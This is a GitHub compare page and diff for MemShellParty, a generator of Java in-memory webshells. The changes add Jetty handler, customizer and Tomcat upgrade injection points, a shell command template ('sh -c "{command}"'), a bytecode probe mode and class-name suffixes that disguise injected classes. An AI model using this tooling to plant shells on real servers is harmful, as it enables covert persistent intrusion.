Compare commits

...
49 Commits
Author SHA1 Message Date
ReaJason e41f8347c6 ci: release ci broken 2025-12-08 02:32:56 +08:00
ReaJason 47b628ee5b chore: 2.3.0 2025-12-08 02:28:02 +08:00
ReaJason 970e260b16 build: change dev port 2025-12-08 02:26:31 +08:00
ReaJason ebfb9323f8 ci: api changed 2025-12-08 02:23:52 +08:00
ReaJason 818f42048d build: react-router failed 2025-12-08 02:20:18 +08:00
ReaJason 554719a447 build: source.config.ts not found 2025-12-08 02:08:37 +08:00
ReaJason 42a9c00263 build: bun.lockb not found 2025-12-08 01:48:43 +08:00
ReaJason b1b44dbc4c docs: update README 2025-12-08 01:45:54 +08:00
ReaJason 0c5847b4dd docs: rm useless docs 2025-12-08 01:44:36 +08:00
ReaJason ef1a77d11d docs: move folder 2025-12-08 01:43:41 +08:00
ReaJason 8551c3b18f build: custom base path not work 2025-12-08 01:43:41 +08:00
ReaJason c1631b9401 fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason e1a852a301 feat: support probe paramName optional 2025-12-08 01:43:41 +08:00
ReaJason 4fd1e4170f feat: support command probe template 2025-12-08 01:43:41 +08:00
ReaJason 73f5694cac chore: unify color theme 2025-12-08 01:43:41 +08:00
ReaJason bac3023dfa feat: support command template 2025-12-08 01:43:41 +08:00
ReaJason baeb3daa50 fix: wrong jetty handler will disrupt service 2025-12-08 01:43:41 +08:00
ReaJason 5d28df0e39 refactor: use processors 2025-12-08 01:43:41 +08:00
ReaJason b29d83d3b4 feat: support tomcat upgrade 2025-12-08 01:43:41 +08:00
ReaJason 605379907b test: add jboss eap-8.1 cases 2025-12-08 01:43:41 +08:00
ReaJason 84c61629ff fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason 4a207e583a test: simplify payload 2025-12-08 01:43:41 +08:00
ReaJason afb3d46080 test: wait for /app 2025-12-08 01:43:41 +08:00
ReaJason 102173b924 feat: support GroovyTransformJar packer 2025-12-08 01:43:41 +08:00
ReaJason 8b8cc7173d test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason c43d87eea1 fix: injector msg is empty 2025-12-08 01:43:41 +08:00
ReaJason 11e58495fc feat: support jetty ee responseBodyProbe 2025-12-08 01:43:41 +08:00
ReaJason 8491d6f964 feat: bytecode probe support gzip 2025-12-08 01:43:41 +08:00
ReaJason 1cf5f37086 perf: probe shell only run once 2025-12-08 01:43:41 +08:00
ReaJason cd8111d0d7 feat: support probe mode 2025-12-08 01:43:41 +08:00
ReaJason 653665e479 feat: support appendLambdaSuffix 2025-12-08 01:43:41 +08:00
ReaJason 79c3e0d929 fix: ui not rendered 2025-12-08 01:43:41 +08:00
ReaJason 50a60c4c65 test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason 90c20b5388 ci: setup node 22 2025-12-08 01:43:41 +08:00
ReaJason 4652f644e4 feat: support fumadocs 2025-12-08 01:43:41 +08:00
ReaJason c21d47140f test: add jdk11 scriptEngine test case 2025-12-08 01:43:41 +08:00
ReaJason fc3961a6bf perf: run only once 2025-12-08 01:43:41 +08:00
ReaJason 962264f13e fix: bes 9.5.1 agent shell not work 2025-12-08 01:43:41 +08:00
ReaJason 75495aee20 chore: version 2.3.0-SNAPSHOT 2025-12-08 01:43:41 +08:00
ReaJason 13a83d510b fix(ui): hide urlPatternField for customizer 2025-12-08 01:43:41 +08:00
ReaJason 2582a12785 fix: typo 2025-12-08 01:43:41 +08:00
ReaJason 05bfa6fd1c feat: support jetty customizer shell 2025-12-08 01:43:41 +08:00
ReaJason 40e6c55b6d chore: change jetty to undertow 2025-12-08 01:43:41 +08:00
ReaJason bfda586d58 feat: add scriptEngineBypassModule packer 2025-12-08 01:43:41 +08:00
ReaJason f0c88ab914 refactor: simplify fetch context from spring 2025-12-08 01:43:41 +08:00
ReaJason 504dde9335 feat: support jetty handler shell 2025-12-08 01:43:41 +08:00
ReaJason e4e86d2c8d refactor: use hashset to reduce inject times 2025-12-08 01:43:41 +08:00
ReaJason dc898fd214 refactor: remove useless code 2025-12-08 01:43:41 +08:00
ReaJason 0ec52dd167 docs: update domain 2025-11-28 09:53:55 +08:00
363 changed files with 10230 additions and 2807 deletions
@@ -9,7 +9,7 @@ if __name__ == '__main__':
args = parser.parse_args() args = parser.parse_args()
version = args.version version = args.version
with open("../../CHANGELOG.md") as f: with open("../../web/content/docs/changelog.mdx") as f:
lines = f.readlines() lines = f.readlines()
for line in lines: for line in lines:
if line.startswith(f"## [{version}]"): if line.startswith(f"## [{version}]"):
+5
View File
@@ -25,6 +25,11 @@ jobs:
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v4
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: 22
- name: Setup Bun - name: Setup Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@v2
with: with:
+1 -1
View File
@@ -33,7 +33,7 @@ jobs:
sleep 10 sleep 10
- name: Test with curl - name: Test with curl
run: | run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
echo "Test successful!" echo "Test successful!"
else else
echo "Test failed!" echo "Test failed!"
@@ -27,7 +27,7 @@ jobs:
- middleware: "jbossas" - middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap" - middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly" - middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish" - middleware: "glassfish"
+1 -1
View File
@@ -25,7 +25,7 @@ jobs:
- middleware: "jbossas" - middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap" - middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly" - middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish" - middleware: "glassfish"
+5
View File
@@ -47,6 +47,11 @@ jobs:
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v4
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: 22
- name: Setup Bun - name: Setup Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@v2
with: with:
+3 -3
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.2 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
@@ -14,9 +14,9 @@ ARG CONTEXT_PATH=""
WORKDIR /usr/src/web WORKDIR /usr/src/web
ENV VITE_APP_API_URL=${CONTEXT_PATH} \ ENV VITE_APP_API_URL=${CONTEXT_PATH} \
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH} VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/ COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
RUN bun install --frozen-lockfile RUN bun install --frozen-lockfile
+4 -21
View File
@@ -12,7 +12,7 @@
<div align="center"> <div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news) [![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
</div> </div>
> [!WARNING] > [!WARNING]
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
### 使用前必看 ### 使用前必看
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty [Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。 中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为 探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
@@ -57,9 +57,9 @@ GlassFish,因为它使用的是 GlassFish 进行的二开)。
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门 > 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。 可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。 对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
### 本地部署(推荐) ### 本地部署(推荐)
@@ -78,23 +78,6 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
``` ```
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
```bash
# 移除之前部署的
docker rm -f memshell-party
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
## User Guide
1. [适配情况](./docs/Compatibility.md)
2. [本地构建](./docs/BuildOnLocal.md)
3. [SDK 集成](./examples/memshell-party-maven-example)
4. [代码贡献](./CONTRIBUTING.md)
## Special Thanks ## Special Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains) - [vulhub/java-chains](https://github.com/vulhub/java-chains)
+1 -1
View File
@@ -33,7 +33,7 @@ dependencies {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat") exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
} }
implementation(libs.commons.lang3) implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-jetty") implementation("org.springframework.boot:spring-boot-starter-undertow")
compileOnly("org.projectlombok:lombok") compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools") developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor") annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -17,7 +17,7 @@ import java.util.Base64;
@CrossOrigin("*") @CrossOrigin("*")
public class ClassNameParseController { public class ClassNameParseController {
@PostMapping("/className") @PostMapping("/api/className")
public String className(@RequestBody String classBase64) { public String className(@RequestBody String classBase64) {
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64))); return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
} }
@@ -17,7 +17,7 @@ import java.util.*;
* @since 2024/12/13 * @since 2024/12/13
*/ */
@RestController @RestController
@RequestMapping("/config") @RequestMapping("/api/config")
@CrossOrigin("*") @CrossOrigin("*")
public class ConfigController { public class ConfigController {
@@ -19,7 +19,7 @@ import java.util.Base64;
* @since 2024/12/18 * @since 2024/12/18
*/ */
@RestController @RestController
@RequestMapping("/memshell/generate") @RequestMapping("/api/memshell/generate")
@CrossOrigin("*") @CrossOrigin("*")
public class MemShellGeneratorController { public class MemShellGeneratorController {
@PostMapping @PostMapping
@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
* @since 2025/8/10 * @since 2025/8/10
*/ */
@RestController @RestController
@RequestMapping("/probe/generate") @RequestMapping("/api/probe/generate")
@CrossOrigin("*") @CrossOrigin("*")
public class ProbeShellGeneratorController { public class ProbeShellGeneratorController {
@PostMapping @PostMapping
@@ -22,7 +22,7 @@ import java.util.Map;
*/ */
@RestController @RestController
@CrossOrigin("*") @CrossOrigin("*")
@RequestMapping("/version") @RequestMapping("/api/version")
public class VersionController { public class VersionController {
@Value("${spring.application.version}") @Value("${spring.application.version}")
@@ -1,16 +1,76 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ClassPathResource;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/19 * @since 2024/12/19
*/ */
@Controller @Controller
@Slf4j
public class ViewController { public class ViewController {
@GetMapping("/") @GetMapping("/")
public String index(){ public String index(){
return "index"; return "redirect:/ui";
}
@GetMapping({"/api/search", "/api/search.data"})
@ResponseBody
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(1);
return renderFileData(relativePath, response);
}
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
@ResponseBody
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(4);
return renderFileData(relativePath, response);
}
@GetMapping("/ui/**")
public String handleHtmlView(HttpServletRequest request) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
return "index";
}
String viewPath = fullPath.substring(4);
return viewPath + "/index";
}
private String renderFileData(String relativePath, HttpServletResponse response) {
try {
String templatePath = "templates/" + relativePath;
ClassPathResource resource = new ClassPathResource(templatePath);
if (!resource.exists()) {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return "File not found: " + relativePath;
}
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
response.setCharacterEncoding("UTF-8");
InputStreamReader reader = new InputStreamReader(
resource.getInputStream(),
StandardCharsets.UTF_8
);
return FileCopyUtils.copyToString(reader);
} catch (IOException e) {
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
return "Error reading file: " + e.getMessage();
}
} }
} }
@@ -23,6 +23,7 @@ public class MemShellGenerateRequest {
private String godzillaPass; private String godzillaPass;
private String godzillaKey; private String godzillaKey;
private String commandParamName; private String commandParamName;
private String commandTemplate;
private String behinderPass; private String behinderPass;
private String antSwordPass; private String antSwordPass;
private String headerName; private String headerName;
@@ -50,6 +51,7 @@ public class MemShellGenerateRequest {
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName()) .paramName(shellToolConfig.getCommandParamName())
.template(shellToolConfig.getCommandTemplate())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build(); .build();
@@ -21,6 +21,7 @@ public class ProbeShellGenerateRequest {
private String server; private String server;
private String sleepServer; private String sleepServer;
private String reqParamName; private String reqParamName;
private String commandTemplate;
} }
public ProbeContentConfig parseProbeContentConfig() { public ProbeContentConfig parseProbeContentConfig() {
@@ -34,6 +35,7 @@ public class ProbeShellGenerateRequest {
.build(); .build();
case ResponseBody -> ResponseBodyConfig.builder() case ResponseBody -> ResponseBodyConfig.builder()
.reqParamName(probeContentConfig.reqParamName) .reqParamName(probeContentConfig.reqParamName)
.commandTemplate(probeContentConfig.commandTemplate)
.server(probeContentConfig.server) .server(probeContentConfig.server)
.build(); .build();
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod()); default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
+3
View File
@@ -2,3 +2,6 @@ spring:
application: application:
name: boot name: boot
version: ${version} version: ${version}
mvc:
pathmatch:
matching-strategy: ant_path_matcher
@@ -26,21 +26,21 @@ public class ConfigControllerIntegrationTest {
@Test @Test
public void testConfigEndpoint() { public void testConfigEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@Test @Test
public void testConfigServersEndpoint() { public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@Test @Test
public void testConfigPackersEndpoint() { public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class); ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@@ -51,7 +51,7 @@ class MemShellGeneratorControllerTest {
shellToolConfigDTO.setHeaderValue("hello"); shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO); request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity( ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/memshell/generate", request, MemShellGenerateResponse.class); "/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
} }
} }
version = "2.2.0" version = "2.3.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
@@ -6,7 +6,13 @@ import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
@@ -46,6 +52,11 @@ public class MemShellGenerator {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
} }
if (shellConfig.isLambdaSuffix()) {
shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
}
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
@@ -54,6 +65,25 @@ public class MemShellGenerator {
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate(); byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "1")
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion())
.byPassJavaModule(shellConfig.isByPassJavaModule())
.shrink(shellConfig.isShrink())
.debug(shellConfig.isDebug())
.staticInitialize(injectorConfig.isStaticInitialize())
.build();
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(serverName)
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
.build();
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
}
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes(); Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return MemShellResult.builder() return MemShellResult.builder()
@@ -69,7 +69,10 @@ public class ServerFactory {
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class) .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class) .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class) .addShellClass(HANDLER, GodzillaJettyHandler.class)
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
@@ -129,6 +132,7 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Command.class) .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(UPGRADE, CommandUpgrade.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
@@ -140,7 +144,10 @@ public class ServerFactory {
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class) .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Command.class) .addShellClass(AGENT_FILTER_CHAIN, Command.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class) .addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
.addShellClass(HANDLER, CommandJettyHandler.class)
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
@@ -15,17 +15,22 @@ public class ShellType {
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER; public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
public static final String VALVE = "Valve"; public static final String VALVE = "Valve";
public static final String UPGRADE = "Upgrade";
public static final String JAKARTA_VALVE = JAKARTA + VALVE; public static final String JAKARTA_VALVE = JAKARTA + VALVE;
public static final String PROXY_VALVE = "Proxy" + VALVE; public static final String PROXY_VALVE = "Proxy" + VALVE;
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE; public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
public static final String HANDLER = "Handler";
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
public static final String CUSTOMIZER = "Customizer";
public static final String NETTY_HANDLER = "NettyHandler"; public static final String NETTY_HANDLER = "NettyHandler";
public static final String AGENT = "Agent"; public static final String AGENT = "Agent";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@@ -15,15 +15,30 @@ import org.apache.commons.lang3.StringUtils;
@SuperBuilder @SuperBuilder
@ToString @ToString
public class CommandConfig extends ShellToolConfig { public class CommandConfig extends ShellToolConfig {
/**
* 接收参数的请求头或请求参数名称
*/
@Builder.Default @Builder.Default
private String paramName = CommonUtil.getRandomString(8); private String paramName = CommonUtil.getRandomString(8);
/**
* 加密器
*/
@Builder.Default @Builder.Default
private Encryptor encryptor = Encryptor.RAW; private Encryptor encryptor = Encryptor.RAW;
/**
* 实现类
*/
@Builder.Default @Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
/**
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
*/
private String template;
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>> public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> { extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B paramName(String paramName) { public B paramName(String paramName) {
@@ -55,17 +55,28 @@ public class ShellConfig {
@Builder.Default @Builder.Default
private boolean debug = false; private boolean debug = false;
/**
* 是否使用回显模式
*/
@Builder.Default
private boolean probe = false;
/** /**
* 是否启用缩小字节码 * 是否启用缩小字节码
*/ */
@Builder.Default @Builder.Default
private boolean shrink = false; private boolean shrink = false;
/**
* 追加 Lambda 类名后缀
*/
@Builder.Default
private boolean lambdaSuffix = false;
public boolean isDebugOff() { public boolean isDebugOff() {
return !debug; return !debug;
} }
